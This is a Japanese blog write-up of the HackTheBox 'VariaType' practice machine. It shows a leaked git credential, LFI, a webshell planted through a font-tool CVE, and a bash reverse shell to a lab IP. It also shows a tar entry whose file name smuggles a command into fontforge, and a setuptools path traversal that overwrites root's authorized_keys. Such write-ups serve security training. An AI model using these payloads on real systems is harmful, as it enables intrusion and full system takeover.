0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

【HackTheBox】VariaType:Writeup

0
Posted at

概要

HackTheBox「VariaType」のWriteupです。

User Flag

ポートスキャンを実行します。

$ nmap -Pn -sCV -T4 -p- 10.129.20.157 -oN nmap_result
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.2p1 Debian 2+deb12u7 (protocol 2.0)
| ssh-hostkey: 
|   256 e0:b2:eb:88:e3:6a:dd:4c:db:c1:38:65:46:b5:3a:1e (ECDSA)
|_  256 ee:d2:bb:81:4d:a2:8f:df:1c:50:bc:e1:0e:0a:d1:22 (ED25519)
80/tcp open  http    nginx 1.22.1
|_http-server-header: nginx/1.22.1
|_http-title: Did not follow redirect to http://variatype.htb/

ポートの稼働状況が分かりました。

ポート サービス バージョン
22 ssh OpenSSH 9.2p1
80 http nginx/1.22.1

variatype.htbにアクセスします。

image.png

フォント関連フォルダをアップロードできるアプリケーションがあります。

image.png

.designspace関連の脆弱性を検索すると、CVE-2025-66034が見つかりました。

pocを見つけましたが、実行にはNginxのルートパスなどの情報を指定する必要があります。
そのための情報を探します。

サブドメインを列挙します。

$ ffuf -c -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -H "Host: FUZZ.variatype.htb" -u http://variatype.htb -fw 5

portal                  [Status: 200, Size: 2494, Words: 445, Lines: 59, Duration: 228ms]

portal.variatype.htbにアクセスすると、ログイン画面があります。

image.png

portal.variatype.htbのディレクトリスキャンをします。

$ dirsearch -u http://portal.variatype.htb/
[10:38:10] 301 -  169B  - /.git  ->  http://portal.variatype.htb/.git/      
[10:38:10] 200 -   39B  - /.git/COMMIT_EDITMSG
[10:38:10] 200 -  143B  - /.git/config
[10:38:10] 200 -   73B  - /.git/description
[10:38:10] 200 -   23B  - /.git/HEAD                                        
[10:38:10] 200 -  137B  - /.git/index                                       
[10:38:10] 200 -  240B  - /.git/info/exclude                                
[10:38:10] 200 -  700B  - /.git/logs/HEAD
[10:38:10] 301 -  169B  - /.git/logs/refs  ->  http://portal.variatype.htb/.git/logs/refs/
[10:38:10] 200 -  700B  - /.git/logs/refs/heads/master
[10:38:10] 301 -  169B  - /.git/logs/refs/heads  ->  http://portal.variatype.htb/.git/logs/refs/heads/
[10:38:10] 301 -  169B  - /.git/refs/heads  ->  http://portal.variatype.htb/.git/refs/heads/
[10:38:10] 200 -   41B  - /.git/refs/heads/master                           
[10:38:10] 301 -  169B  - /.git/refs/tags  ->  http://portal.variatype.htb/.git/refs/tags/
[10:38:48] 200 -    0B  - /auth.php                                         
[10:39:00] 302 -    0B  - /dashboard.php  ->  /                             
[10:39:03] 302 -    0B  - /download.php  ->  /                              
[10:39:08] 301 -  169B  - /files  ->  http://portal.variatype.htb/files/
[10:40:01] 302 -    0B  - /view.php  ->  /

/.gitフォルダを確認したので、ダンプします。

$ ./git_dumper.py http://portal.variatype.htb/.git ./portal

変更履歴を確認します

$ git log                                            
commit 753b5f5957f2020480a19bf29a0ebc80267a4a3d (HEAD -> master)
Author: Dev Team <dev@variatype.htb>
Date:   Fri Dec 5 15:59:33 2025 -0500

    fix: add gitbot user for automated validation pipeline

commit 5030e791b764cb2a50fcb3e2279fea9737444870
Author: Dev Team <dev@variatype.htb>
Date:   Fri Dec 5 15:57:57 2025 -0500

    feat: initial portal implementation

履歴から変更箇所を確認すると、認証情報を得られました。

$ git show 753b5f5957f2020480a19bf29a0ebc80267a4a3d
commit 753b5f5957f2020480a19bf29a0ebc80267a4a3d (HEAD -> master)
Author: Dev Team <dev@variatype.htb>
Date:   Fri Dec 5 15:59:33 2025 -0500

    fix: add gitbot user for automated validation pipeline

diff --git a/auth.php b/auth.php
index 615e621..b328305 100644
--- a/auth.php
+++ b/auth.php
@@ -1,3 +1,5 @@
 <?php
 session_start();
-$USERS = [];
+$USERS = [
+    'gitbot' => 'G1tB0t_Acc3ss_2025!'
+];

Username: gitbot,Password: G1tB0t_Acc3ss_2025!でportal.variatype.htbにログイン出来ました。

image.png

ジェネレーターツールでファイルをアップロードします。

image.png

ダッシュボードを確認すると、アップロードしたファイルを確認できます。

image.png

Downloadボタンを押下すると、/download.php?f=というURLになっています。
LFIが出来そうなので、攻撃を試みると成功しました。

image.png

image.png

/etc/nginx/sites-enabled/portal.variatype.htbを確認すると、Webのルートフォルダが/var/www/portal.variatype.htb/publicだと分かりました。

image.png

これでPOCを実行するための情報がそろいました。
WEBROOTには先ほど判明したパスを指定します。
SHELL_HOSTにはディレクトリスキャンで発見した/filesを指定します。

font_varlib.py
WEBROOT          = "/var/www/portal.variatype.htb/public/files"
SHELL_HOST       = "http://portal.variatype.htb/files"

POCを実行するとシェルを取得できました。

$ python3 font_varlib.py --ip 10.10.14.125 --port 4444

──────────────────────────────────────────────────────────
  PAYLOAD
──────────────────────────────────────────────────────────
  [*] Shell name  : f0nt_r97grgll.php
  [*] Write path  : /var/www/portal.variatype.htb/public/files/f0nt_r97grgll.php
  [*] Trigger URL : http://portal.variatype.htb/files/f0nt_r97grgll.php
  [+] malicious.designspace crafted
  [*] Primitive 1 : CDATA split  →  PHP injected into output body
  [*] Primitive 2 : Absolute path  →  output_dir bypassed in os.path.join()

──────────────────────────────────────────────────────────
  UPLOADING
──────────────────────────────────────────────────────────
  [+] Server response: HTTP 200

──────────────────────────────────────────────────────────
  LISTENER  //  TRIGGER
──────────────────────────────────────────────────────────
  [*] Spawning nc -lvnp 4444 ...
  [*] Triggering: http://portal.variatype.htb/files/f0nt_r97grgll.php
bash: cannot set terminal process group (3453): Inappropriate ioctl for device
bash: no job control in this shell
www-data@variatype:~/portal.variatype.htb/public/files$ id
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

TTYを設定します。

$ python3 -c "import pty;pty.spawn('/bin/bash')"

実行されているプロセスを監視します。
/usr/local/src/fontforge/build/bin/fontforgeがsteve権限で、定期的に実行されていると分かりました。

www-data@variatype:/tmp$ ./pspy32

2026/06/12 19:14:01 CMD: UID=1000  PID=34347  | /bin/bash /home/steve/bin/process_client_submissions.sh 
2026/06/12 19:14:01 CMD: UID=1000  PID=34348  | 
2026/06/12 19:14:01 CMD: UID=1000  PID=34349  | /usr/local/src/fontforge/build/bin/fontforge -lang=py -c 
import fontforge                                                                                                   
import sys                                                                                                         
try:                                                                                                               
    font = fontforge.open('variabype_8rYNrdg_iVQ.ttf')                                                             
    family = getattr(font, 'familyname', 'Unknown')                                                                
    style = getattr(font, 'fontname', 'Default')                                                                   
    print(f'INFO: Loaded {family} ({style})', file=sys.stderr)        
    font.close()  
except Exception as e:
    print(f'ERROR: Failed to process variabype_8rYNrdg_iVQ.ttf: {e}', file=sys.stderr)
    sys.exit(1)

fontforgeのバージョンを確認すると、Version: 20230101だと分かりました。

www-data@variatype:/tmp$ /usr/local/src/fontforge/build/bin/fontforge -v
/usr/local/src/fontforge/build/bin/fontforge -v
Copyright (c) 2000-2025. See AUTHORS for Contributors.
 License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
 with many parts BSD <http://fontforge.org/license.html>. Please read LICENSE.
 Version: 20230101
 Based on sources from 2025-12-07 11:44 UTC-D.
 Based on source from git with hash: a1dad3e81da03d5d5f3c4c1c1b9b5ca5ebcfcecf
fontforge 20230101
build date: 2025-12-07 11:44 UTC

該当バージョンの脆弱性を検索すると、CVE-2024-25081とCVE-2024-25082が見つかりました。

POCを発見したので、リポジトリ情報を基に攻撃を試みます。

まずリバースシェルのファイルを作成します。

www-data@variatype:/usr/lib/python3/dist-packages$ echo 'bash -i >& /dev/tcp/10.10.14.125/1234 0>&1' > /tmp/s.sh
< -i >& /dev/tcp/10.10.14.125/1234 0>&1' > /tmp/s.sh
www-data@variatype:/usr/lib/python3/dist-packages$ chmod +x /tmp/s.sh

次に圧縮ファイルを作成します。

www-data@variatype:/tmp$ python3 << 'EOF'
python3 << 'EOF'
> import tarfile, io
import tarfile, io
> malicious_name = "exploit.ttf;bash /tmp/s.sh;"
malicious_name = "exploit.ttf;bash /tmp/s.sh;"
> tar = tarfile.open("exploit.tar", "w")
tar = tarfile.open("exploit.tar", "w")
> info = tarfile.TarInfo(name=malicious_name)
info = tarfile.TarInfo(name=malicious_name)
> info.size = 4
info.size = 4
> tar.addfile(info, io.BytesIO(b"AAAA"))
tar.addfile(info, io.BytesIO(b"AAAA"))
> tar.close()
tar.close()
> print("done")
print("done")
> EOF
EOF

fontforgeの実行で使用しているファイルパスを確認します。
steveアカウント所有ファイルを検索すると/opt/process_client_submissions.bakを発見しました。

$ find / -user steve 2>/dev/null
/home/steve
/opt/process_client_submissions.bak

/opt/process_client_submissions.bakを確認すると、/var/www/portal.variatype.htb/public/filesを使用していると分かりました。

/opt/process_client_submissions.bak
UPLOAD_DIR="/var/www/portal.variatype.htb/public/files"
PROCESSED_DIR="/home/steve/processed_fonts"
QUARANTINE_DIR="/home/steve/quarantine"
LOG_FILE="/home/steve/logs/font_pipeline.log"

mkdir -p "$PROCESSED_DIR" "$QUARANTINE_DIR" "$(dirname "$LOG_FILE")"

log() {
    echo "[$(date --iso-8601=seconds)] $*" >> "$LOG_FILE"
}

cd "$UPLOAD_DIR" || { log "ERROR: Failed to enter upload directory"; exit 1; }

/var/www/portal.variatype.htb/public/filesに、作成した圧縮ファイルを移動させます。

www-data@variatype:/tmp$ cp exploit.tar /var/www/portal.variatype.htb/public/files/exploit.tar

Netcatでリッスンしていると、steveのシェルを取得できました。

$ nc -lvnp 1234
listening on [any] 1234 ...
connect to [10.10.14.125] from (UNKNOWN) [10.129.244.202] 34150
bash: cannot set terminal process group (5255): Inappropriate ioctl for device
bash: no job control in this shell
steve@variatype:/tmp/ffarchive-5256-1$ id
id
uid=1000(steve) gid=1000(steve) groups=1000(steve)

ユーザーフラグを入手できました。

steve@variatype:~$ cat user.txt
cat user.txt
5c1c7a1ec95162306b59e7bbfe662ec9

A.5c1c7a1ec95162306b59e7bbfe662ec9

Root Flag

sudo -lで設定内容を確認します。
/opt/font-tools/install_validator.pyが許可されています。

steve@variatype:~$ sudo -l
sudo -l
Matching Defaults entries for steve on variatype:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin,
    use_pty

User steve may run the following commands on variatype:
    (root) NOPASSWD: /usr/bin/python3 /opt/font-tools/install_validator.py *

プログラムの内容を確認します。

/opt/font-tools/install_validator.py
#!/usr/bin/env python3
"""
Font Validator Plugin Installer
--------------------------------
Allows typography operators to install validation plugins
developed by external designers. These plugins must be simple
Python modules containing a validate_font() function.

Example usage:
  sudo /opt/font-tools/install_validator.py https://designer.example.com/plugins/woff2-check.py
"""

import os
import sys
import re
import logging
from urllib.parse import urlparse
from setuptools.package_index import PackageIndex

# Configuration
PLUGIN_DIR = "/opt/font-tools/validators"
LOG_FILE = "/var/log/font-validator-install.log"

# Set up logging
os.makedirs(os.path.dirname(LOG_FILE), exist_ok=True)
logging.basicConfig(
    level=logging.INFO,
    format='%(asctime)s [%(levelname)s] %(message)s',
    handlers=[
        logging.FileHandler(LOG_FILE),
        logging.StreamHandler(sys.stdout)
    ]
)

def is_valid_url(url):
    try:
        result = urlparse(url)
        return all([result.scheme in ('http', 'https'), result.netloc])
    except Exception:
        return False

def install_validator_plugin(plugin_url):
    if not os.path.exists(PLUGIN_DIR):
        os.makedirs(PLUGIN_DIR, mode=0o755)

    logging.info(f"Attempting to install plugin from: {plugin_url}")

    index = PackageIndex()
    try:
        downloaded_path = index.download(plugin_url, PLUGIN_DIR)
        logging.info(f"Plugin installed at: {downloaded_path}")
        print("[+] Plugin installed successfully.")
    except Exception as e:
        logging.error(f"Failed to install plugin: {e}")
        print(f"[-] Error: {e}")
        sys.exit(1)

def main():
    if len(sys.argv) != 2:
        print("Usage: sudo /opt/font-tools/install_validator.py <PLUGIN_URL>")
        print("Example: sudo /opt/font-tools/install_validator.py https://internal.example.com/plugins/glyph-check.py")
        sys.exit(1)

    plugin_url = sys.argv[1]

    if not is_valid_url(plugin_url):
        print("[-] Invalid URL. Must start with http:// or https://")
        sys.exit(1)

    if plugin_url.count('/') > 10:
        print("[-] Suspiciously long URL. Aborting.")
        sys.exit(1)

    install_validator_plugin(plugin_url)

if __name__ == "__main__":
    if os.geteuid() != 0:
        print("[-] This script must be run as root (use sudo).")
        sys.exit(1)
    main()

setuptoolsモジュールが使用されており、バージョンを確認するとVersion: 78.1.0だと分かりました。

steve@variatype:~$ python3 -m pip show setuptools
python3 -m pip show setuptools
Name: setuptools
Version: 78.1.0
Summary: Easily download, build, install, upgrade, and uninstall Python packages
Home-page: 
Author: 
Author-email: Python Packaging Authority <distutils-sig@python.org>
License: 
Location: /usr/local/lib/python3.11/dist-packages
Requires: 
Required-by:

該当バージョンの脆弱性を検索すると、CVE-2025-47273がヒットしました。

また、POCも発見しました。

まずrootアカウント用のSSH公開鍵を用意し、Webサーバを起動します。

$ cp id_rsa.pub authorized_keys
$ python3 server.py 80

脆弱性を悪用し、/root/.ssh/authorized_keysへファイルをアップロードします。

steve@variatype:~$ sudo -u root /usr/bin/python3 /opt/font-tools/install_validator.py http://10.10.14.125/%2froot%2f.ssh%2fauthorized_keys
<ttp://10.10.14.125/%2froot%2f.ssh%2fauthorized_keys
2026-06-13 05:31:34,692 [INFO] Attempting to install plugin from: http://10.10.14.125/%2froot%2f.ssh%2fauthorized_keys
2026-06-13 05:31:34,702 [INFO] Downloading http://10.10.14.125/%2froot%2f.ssh%2fauthorized_keys
2026-06-13 05:31:35,160 [INFO] Plugin installed at: /root/.ssh/authorized_keys
[+] Plugin installed successfully.

rootアカウントへSSH秘密鍵で接続できました。

$ ssh -i id_rsa  root@variatype.htb 
Linux variatype 6.1.0-43-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.162-1 (2026-02-08) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Sat Jun 13 05:32:04 2026 from 10.10.14.125
root@variatype:~# id
uid=0(root) gid=0(root) groups=0(root)

ルートフラグを入手できました。

root@variatype:~# cat root.txt 
41e3a64b4b06a9c9399cb91c608a10f3

A.41e3a64b4b06a9c9399cb91c608a10f3

0
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?